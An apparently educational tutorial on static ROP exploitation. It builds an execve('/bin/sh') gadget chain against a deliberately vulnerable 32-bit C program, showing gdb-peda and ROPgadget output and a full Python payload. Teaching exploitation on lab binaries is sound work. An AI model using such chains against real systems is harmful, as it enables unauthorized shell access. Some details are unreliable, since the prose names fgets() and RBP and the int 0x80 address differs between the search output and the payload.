Static

Return Oriented Programming is a technique in which we use existing small snippets of assembly code/gadgets to create a chain of instructions which will eventually spawn a shell or cause the program to do some complex things. This is method is usually employed when there is a Stack buffer oveflow and there are no win or give_shell functions. So we use ROP to invoke system or an execve syscall.

Its called ROP as the basic idea of the technique is to use the ret statement to change control flow of the program. We use a tool called ROPgadget for finding gadgets. Another tool used for the same is ropper

/*gcc -m32 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

char * str = "/bin/sh";

#define BUFFSIZE 136

void vuln(){
    char buffer[BUFFSIZE];
    read(0,buffer,0x200);
}

int main(){
    vuln();
}

Note

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=58db790a742bb1b283bc3301fa309bf5f4e23b27, not stripped

Looking into the given source code we can see that there is an overflow in the vuln() function. The defined BUFFSIZE is 136 while the fgets() function takes an input of 0x200 bytes. From the output of the file command we can see that the binary is 32 bit and also that its statically linked. So we cannot exploit the binary using ret2System. This is where we use ROP and make an execve syscall to spawn a shell on the remote server.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
By running checksec we can see that only NX bit is enabled. For making the ROPchain we need to find gadgets. For this we use ROPgadget. x86 syscall Table Refering this we can see that for making an execve syscall we need the value 0x0b in the EAX register and that the arguments has to be provided in the EBX register.

ROPgadget --binary <binary_name>
Run this command to get all the possible ROPgadgets from the given binary. The grep command can be used to filter out the gadgets of our choice.

    0x08048f44 <+9>:    mov    DWORD PTR [esp+0x8],0x200
    0x08048f4c <+17>:   lea    eax,[ebp-0x88]
    0x08048f52 <+23>:   mov    DWORD PTR [esp+0x4],eax
    0x08048f56 <+27>:   mov    DWORD PTR [esp],0x0
    0x08048f5d <+34>:   call   0x8053d20 <read>

From this snippet it can be seen that the offset of the buffer from RBP is 0x88 bytes. So our payload should be of the form: 'A'*0x88 + 'JUNK' + ROPchain.

__________________
| BUFFER (0x88)  |   <- 'A'*0x88
|   SAVED EBP    |   <- 'JUNK'
|   SAVED EIP    |   <- ROPchain start
__________________

We only need to have values in the EAX and EBX registers. The first step is to put the argument correctly in the EBX register. After setting a breakpoint and running the binary we used the find command in gdb-peda to find if the string /bin/sh is present in the binary.

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
vuln : 0x80cbf4f ("/bin/sh")

We find out that we have "/bin/sh" at address 0x80cbf4f. So we can pop this address into the EBX register. For popping this value into EBX we use the pop ebx ; ret gadget. To find the gadgets of that type we run the ROPgadget --binary vuln | grep "pop ebx ; ret" command.

Going through the output of this command we can find :

0x080481ec : pop ebx ; ret

Now we have the pop ebx gadget. Next we have to clear the registers ECX and EDX. Similar to how we found the pop ebx gadget we find pop ecx and pop edx gadgets. We find those gadgets at addresses 0x080e3c2a and 0x080551ca respectively.

0x080e3c2a : pop ecx ; ret

0x080551ca : pop edx ; ret

The final step is to put the value 0x0b into the EAX register. We use the pop eax ; ret gadget to pop this value into the designated register. Searching for the gadget we find that it's present at the address 0x080c28c6.

0x080c28c6 : pop eax ; ret

Finally we need the int 0x80 syscall for calling execve. The command ROPgadget --binary vuln | grep "int 0x80" can be used to find the address of the syscall gadget.

0x08049449 : int 0x80

Combining all this we get the final ROPchain as:

bin_sh_addr = 0x80cbf4f
int_call = 0x0805596f
pop_eax = 0x080c28c6
pop_ebx = 0x080481ec
pop_ecx = 0x080e3c2a
pop_edx = 0x080551ca

payload = ''
payload += 'a'*140
payload += p32(pop_ebx)
payload += p32(bin_sh_addr)
payload += p32(pop_ecx)
payload += p32(0x00)
payload += p32(pop_edx)
payload += p32(0x00)
payload += p32(pop_eax)   
payload += p32(0x0b)
payload += p32(int_call)

Note

If "/bin/sh" is not found in the binary we have to either read that to bss and use that address or we could push the string onto stack 4 bytes at a time and then push esp ; pop ebx will get a stack address pointing to /bin/sh into ebx.